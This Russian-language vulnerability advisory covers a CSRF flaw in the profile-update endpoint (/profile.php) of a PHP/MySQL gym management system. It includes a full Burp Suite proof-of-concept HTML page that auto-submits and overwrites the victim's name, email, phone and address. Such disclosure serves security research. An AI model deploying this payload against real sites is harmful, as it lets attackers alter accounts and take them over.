
Система управления спортзалом на PHP и MYSQL
Система управления фитнес-клубом, созданная с использованием PHP и MySQL.
Shoaib Alam - Профиль LinkedIn
В системе управления фитнес-клубом была обнаружена уязвимость типа Cross-Site Request Forgery (CSRF). Эта проблема присутствует в функциональности обновления профиля в панели пользователя.
В настоящее время в приложении отсутствует реализация Anti-CSRF токенов, что делает его уязвимым к атакам типа Cross-Site Request Forgery (CSRF). Данная слабость в безопасности затрагивает конечную точку /profile.php. Злоумышленник может использовать этот недостаток для выполнения несанкционированных изменений конфиденциальной информации пользователя, такой как адрес, имя и номер телефона. Это может поставить под угрозу целостность учётных записей пользователей и привести к дальнейшим проблемам безопасности.
Уязвимая конечная точка: /profile.php
Ниже представлено доказательство концепции, демонстрирующее CSRF-уязвимость. Этот PoC был сгенерирован с помощью Burp Suite Professional.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/gym/profile.php" method="POST">
<input type="hidden" name="fname" value="hacked" />
<input type="hidden" name="lname" value="victim" />
<input type="hidden" name="email" value="attacker@gmail.com" />
<input type="hidden" name="mobile" value="9999999999" />
<input type="hidden" name="state" value="hacked" />
<input type="hidden" name="city" value="hacked" />
<input type="hidden" name="address" value="hacked" />
<input type="hidden" name="submit" value="Update" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>